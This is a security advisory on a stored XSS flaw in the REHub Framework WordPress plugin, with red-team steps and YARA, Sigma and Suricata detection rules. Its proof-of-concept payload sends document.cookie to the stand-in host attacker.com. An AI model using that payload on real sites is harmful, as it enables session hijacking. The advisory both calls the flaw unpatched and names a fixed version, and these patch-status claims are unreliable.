CVE-2025-63050

Executive Summary

CVE-2025-63050 is a Stored Cross-Site Scripting (XSS) vulnerability in the REHub Framework WordPress plugin (by Sizam). The flaw resides in improper neutralization of user-supplied input during web page generation, allowing authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript into the WordPress database. When an administrator or other user views the affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is unpatched as of the latest advisory, with no official fix from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites with untrusted contributors.

Supply Chain & Package Security

This vulnerability affects the REHub Framework WordPress plugin, distributed via the official WordPress plugin repository and third-party marketplaces. Since it is a WordPress plugin, the attack surface is limited to authenticated users with the edit_posts capability. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or backporting the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Admin views page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the stored XSS can lead to privilege escalation if an admin is targeted.

Deep Dive & Mechanics

The vulnerability exists in the rehub_framework plugin, specifically in how it handles user-submitted content (e.g., reviews, comments, or custom fields). The plugin fails to sanitize or escape input before storing it in the database and later rendering it in the admin dashboard or frontend.

Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses_post()). An attacker can inject a payload like:

<script>alert('XSS')</script>

into a text field, which is then stored and executed when an admin views the page.

Attack Flow:

1. Attacker registers as a contributor (or higher role).
2. Attacker submits a post, review, or custom field containing malicious JavaScript.
3. The payload is stored in the WordPress database without sanitization.
4. An administrator or other user views the affected page.
5. The script executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (pre-19.9.9.7):

// In a template or function file
echo $user_input; // No escaping

Patched Code (19.9.9.7+):

// Properly escaped
echo esc_html( $user_input );

The patch adds esc_html() or wp_kses_post() to all user-facing output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with REHub Framework < 19.9.9.7
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Navigate to a vulnerable input field (e.g., review form, custom field).
3. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an admin to view the page, or trigger the admin to visit the page via social engineering.

Note: No public exploit code is available; this is a proof-of-concept.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual JavaScript in user-submitted content (e.g., <script>, onerror, onload).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review WordPress logs for suspicious contributor activity.

Hardening:

• Immediately upgrade to REHub Framework 19.9.9.7 or later.
• If patching is not possible, disable the plugin or restrict contributor roles.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin (e.g., Wordfence) to block malicious input.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage.
• Host: Presence of <script> tags in WordPress database tables (e.g., wp_posts, wp_postmeta).
• Logs: WordPress audit logs showing contributor-level users submitting posts with unusual HTML/JavaScript.
• File: Modified plugin files (if attacker gains admin access) – check file integrity.

Detection Engineering

YARA Rule

rule CVE_2025_63050_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in REHub Framework"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-63050"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS in REHub Framework
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress REHub Framework plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: /wp-admin/admin-ajax.php
        http.body|contains|all:
            - 'action=rehub_submit_review'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in reviews (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63050 Stored XSS in REHub Framework"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=rehub_submit_review"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade REHub Framework to version 19.9.9.7 or later.
2. Workaround: If patching is not possible, disable the plugin or restrict contributor roles to trusted users only.
3. Compensating Controls:
   • Implement a Web Application Firewall (WAF) with XSS rules.
   • Enable Content Security Policy (CSP) headers: default-src 'self'; script-src 'self'.
   • Use WordPress security plugins (e.g., Wordfence, Sucuri) to block malicious input.
4. Monitoring: Review WordPress logs for suspicious activity and scan for injected scripts.

Valters IT
Securing Digital Frontiers